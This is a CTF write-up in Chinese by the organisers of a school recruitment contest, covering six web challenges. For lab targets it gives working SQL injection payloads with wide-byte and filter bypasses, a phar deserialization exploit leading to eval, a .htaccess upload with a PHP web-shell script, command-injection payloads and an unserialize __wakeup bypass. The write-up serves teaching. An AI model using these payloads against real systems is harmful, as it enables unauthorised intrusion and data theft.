目录
首先因为这个题目其实是校内招新赛,所以可能比较简单(ak的V&N师傅们tql),也有些师傅说部分题目分数设计不太合理,作为主办方这些我们也进行了反思,希望下次能让师傅们满意(如果还有下次的话233333),这次比赛大家快乐就完事儿了。现在比赛结束了,我们能做的也就是尽量吧wp整理得完善一些,尽量让萌新们有所提高,顺便聊一聊比赛中出现的非预期情况。
BabySqli
- tags : 万能密码登陆,SQL注入
- 难度:入门
- 这个题目其实就是一个万能密码题,但是可能题目描述不太到位,有些大佬用sqlmap直接拖库了,发现数据库里面没有flag,就以为要爆破md5,谢罪谢罪。
- 题目提示了用md5做哈希,fuzz可以知道admin是账号
- 题目过滤了小括号、or和=,没有过滤union,用union万能密码绕过即可
# username: -1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' # # password: 123
BabySqli 2
- tags : 宽字节注入,过滤0x,union select where置空
- 难度:简单
- 题目提示了支持中文,就可以想到宽字节,登陆之后发现有一个显示位,那拿flag的姿势就很多了。
# 显示database # 由于0x被过滤,使用char()构造admin # 除了char()之外,看到有的师傅使用unhex()函数,原理相同 name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database()%23&pw=1 # 显示表名 # 双写绕过union select where等字段 name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(table_name)%20from%20information_schema.tables%20whwhereere%20table_schema%20=%20database()%23 # 显示f14g列名 # char()写入f14g,或者再使用宽字节也可以 name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(column_name)%20from%20information_schema.columns%20whwhereere%20table_name%20=%20char(102,49,52,103)%23 # 拿到flag name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%23

- base64解码即可得到一堆歌词和flag23333
- 题外话:
- flag数据库里面放歌词是为了增加盲注成本,有的大佬可能有一些万能盲注脚本,怕改个参数直接跑,还是希望师傅们具体问题具体分析,像这种脏数据多的可以用报错或者手工注
- 这题的数据库列名构造过,分别是id和flag的
md5
值,所以有的师傅用updatexml
报错注入只能得到第一个md5
(因为updatexml
返回最大长度就是32),顺便提一句,某些师傅的脑洞是真的大,用updatexml
只注出来一个列名以为这是个脑洞题,吧id的md5
解出来之后,愣是硬猜出来另一个列名是flag的md5
∑(っ°Д°;)っ - (其实updatexml可以和substr配合,做到任意位读取)
- 本身这题跟sqli1一样啥都没有,纯白板的,但是考虑到怕师傅们做题太无聊,于是就加了个动图给师傅们解解闷儿
- 赛后想了想,既然师傅们都习惯使用updatexml,不如把flag最后几位调成特殊字符,让师傅们猜不出来,还不知道哪里有问题,又能搞一波心态233333
- 报错注入payload:
# Author Y1ng # 爆数据库 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) --+&pw=y1ng # Error: XPATH syntax error: 'web_sqli' # 查表名 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) --+&pw=y1ng # Error: XPATH syntax error: 'f14g,user' # 查列名 http://172.21.4.12:10012/search.php?name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_concat(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME=char(102,49,52,103))),1)%20--+&pw=y1ng # Error: XPATH syntax error: 'b80bb7740288fda1f201890375a60c8f' # 查字段 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) --+ &pw=y1ng # Error: XPATH syntax error: 'VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr' # 查flag http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) --+ &pw=y1ng # Error: XPATH syntax error: 'R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0'
BabySqli 3
- tags : 弱口令登陆,filter读源码,phar反序列化
- 难度:中等
- emmmm没错这题不是SQL注入,甚至都没有数据库233333
- 题目提示了绝对防御,在登录页查看源码可以看到
<!-- u9db8 -->
,可以用Unicode解码得到鶸,说明这是一个弱口令,并不是注入题

- 用弱口令字典可以跑出来,账号口令是admin/password,即可成功登陆
- 登陆发现是一个文件上传,简单操作后发现只能上传txt文件;然后发现url里有引用,猜测可能存在LFI(Local File Include),使用filter协议可以看网站源码。

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data"> 上传文件 <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /> </form> <?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?>
- 审计源码得知上传操作是使用类来完成,在类中会判断上传文件是否合法,在销毁类的时候自动调用
__destruct
执行相关命令。因此可以用反序列化更改掉相关命令来达到任意命令执行。 - 可能有萌新会问,这个题目代码中没有
unserialize()
如何反序列化呢?其实这是一个phar的feature, PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,既然是打包文件,就肯定会对相应的class进行序列化存储,再在执行某些函数或者需要调用数据的时候自动反序列化,很多函数都可以自动反序列化phar文件,最最常见的莫过于file_get_contents()
和file_put_contents()
,具体哪些函数受影响请参考 seaii 师傅的博客 https://paper.seebug.org/680/ - 此外,phar还有一个特点,无需特定的文件后缀,即使使用txt格式的后缀只要文件内容是phar的格式即可被php识别为phar文件,可以利用这个feature上传txt文件构造反序列化。
- 理解了原理这题就非常简单,只要构造一个phar反序列化文件,将命令替换为getflag操作,再把检查的token替换为服务器分发的,最后控制文件名进行反序列化操作,达到任意命令执行的目的。
- exp:
# phar_gen.php # Author : imagin # 使用时请将上文中的对象代码粘贴到本代码之前 <?php @unlink("exp.phar"); $phar = new Phar("exp.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Uploader(); $o->token = "GXYb4b627c1236f2c1b9463e18e0e7bfe30"; $o->cmd = "echo file_get_contents('./flag.php');"; $o->Filename = "phar://uploads/909c00f0b41f82ef8c579546b5ed765e/GXYb4b627c1236f2c1b9463e18e0e7bfe30.txt"; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("a", "a"); //添加要压缩的文件 $phar->stopBuffering(); ?>
控制url中的file字段即可实现任意命令执行:

- 非预期解:
- 直接上传php文件可还行


- 非预期造成的原因:
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name']))
- emmm这个正则本意是匹配name里面的
data://
filter://
php://
和.
,为了代码美观一点,所以在管道符旁边加了空格,就没注意这是在正则里面,然后正则匹配的就是0x20.
(0x20表示空格),大佬也在wp里面吐槽了这件事。 - 所以大家以后写正则一定不要手贱啊~~o(>_<)o ~~
BabyUpload
- tags : 文件上传,条件竞争
- 难度 : 简单
- 一个简单的上传题,服务器隔三秒会删除
./upload
文件夹的所有内容。 - 随便上传发现文件后缀ph被拦截,
php3、phtml
都不能使,随便搞出来一个404得知是apache
服务器,可以使用.htaccess
文件改变文件解析配置,使得服务器可以把jpg当做php解析,从而命令执行;此外,服务器会检查文件内容是否包含<?
(可以fuzz出来),要使用<script></script>
格式编写php代码。因此,本题上传.htaccess
文件修改apache的解析,再把一句话木马后缀改为jpg即可 - 普通青年解法:
- 上脚本,直接跑出来
# upload_exp.py # Author : imagin import requests url = "http://172.21.4.12:10011/" session = requests.session() htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')} res_hta = session.post(url, files = htaccess) files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')} res_jpg = session.post(url, files = files) res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'}) print(res_shell.text)
- 文艺青年解法:
- 多线程脚本,别问,问就是多线程!
- 快乐青年解法:
- 条件竞争?没事儿我人多!
- 一个人负责传
.htaccess
,一个人负责传exp.jpg
,最后一个老哥专门读flag
23333。手速才是王道!
- 本来想放一个hint,给出删文件的脚本地址(群里有大佬一直在问是不是环境坏了),但是后来很多大佬都做出来了就没放23333
Ping Ping Ping
- tags : 命令执行,过滤%00-%32,过滤特殊符号,过滤flag
- 难度 : 中等
- 这个题因为要ping一下,所以当并发量比较大的时候会卡,而且有的大佬报复性扫描,所以中间重启了好几次(╯‵□′)╯︵┻━┻
- 这个题目首先过滤了符号,但是过滤不严格,可以使用管道符和;,因此可以使用这两个符号来拼接命令;其次过滤了空格,可以使用$IFS$9来替代空格;最后过滤了flag,这个过滤比较严格,具体的正则是
.*f.*l.*a.*g.*
,可以通过base64
来绕过,或者用变量名拼接绕过。 - payload
base64版本
:
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

- payload
bash版本
:
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

Do You Know Robots
- tags : 反序列化、robots协议
- 难度 : 简单
- 打开是一个无情的报菜名机器,题目提示
robots
协议,可以看到备份文件index.php~
,下载源码
<?php class FileReader{ public $Filename; public $start; public $max_length; function __construct(){ $this->Filename = __DIR__ . "/bcm.txt"; $this->start = 12; $this->max_length = 72; } function __wakeup(){ $this->Filename = __DIR__ . "/fake_f1ag.php"; $this->start = 10; $this->max_length = 0; } function __destruct(){ $data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length); if(preg_match("/\{|\}/", $data)){ die("you can't read flag!"); } else{ echo $data; } } } if(isset($_GET['exp'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){ die("hack!"); } $exp = $_REQUEST['exp']; $e = unserialize($exp); echo $e->Filename; } else{ $exp = new FileReader(); } ?>
- 审源码可以得知这是个标准的反序列化题目,变量名都是public类型(注意如果是private类型需要增加\0),主要功能是将文件上传和报菜名2333
- 网页使用
$_GET
方法传参,但是会正则匹配.?f.?l.?a.?g.?
,导致不可以读flag,但是仔细审计就会发现问题,真正的$exp
是接受的$_REQUEST['exp']
的,针对这种使用$_REQUEST[]
接收参数的代码,如果同时使用get
和post
两种方式传相同类型的参数,那么post
的参数会覆盖掉get
的参数,最终$_REQUEST[]
接受的参数是post
过来的 - 上面可能有些拗口,实际举个例子就是
url
传?a=1
,同时用post
发送a=2
,在服务器使用$_REQUEST['a']
接受参数,最后$_REQUEST['a']
的值是2,大家可以自己动手做做实验。 - 此外,
__wakeup()
会在反序列化的时候自动调用,会复写掉文件,这时候就要请出CVE-2016-7124
,只要让成员属性数目大于实际数目时就可以绕过__wakeup()方法因此我们可以构造paylaod
:
# get ?exp=1 # post exp=O:10:"FileReader":4:{s:8:"Filename";s:22:"/var/www/html/flag.php";s:5:"start";i:21;s:10:"max_length";i:17;}
禁止套娃!
- tags :
.git
源码泄露,php
套娃命令执行 - 难度 : 中等
- 这是一道bytes的改编题,主要考察无参数的套娃命令执行
- 首先可以扫描目录,发现.git/文件夹,直接
githack
走一波搞源码 - 这个题目的主要矛盾在于搞定正则
(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp']))
- 这个正则的合法匹配是类似
a(b());
这种无参数的命令套娃,pdsdt
师傅曾经总结过可以合法执行的函数,大佬们可以看 http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/ (这次比赛pdsdt
师傅也参加了,在这里膜一下) - 之后访问一下
flag.php
,发现没有404,可以确定flag
就在flag.php
中,先使用scandir()
查看当前目录情况,可以使用pos(localeconv());
构造一个.
出来,用print_r()
输出,即可得到当前的目录文件情况。

- 可以看到
flag.php
在倒数第二个,后面的步骤就是如何读取到flag.php
,首先我们知道next()
函数可以读取数组中第二个元素,但是flag在倒数第二个,这时候用一个array_reverse()
函数将数组翻转,再读取next即可读取到flag文件,最后使用show_source()
可以显示php
代码,即可拿到flag。

- 完整的payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));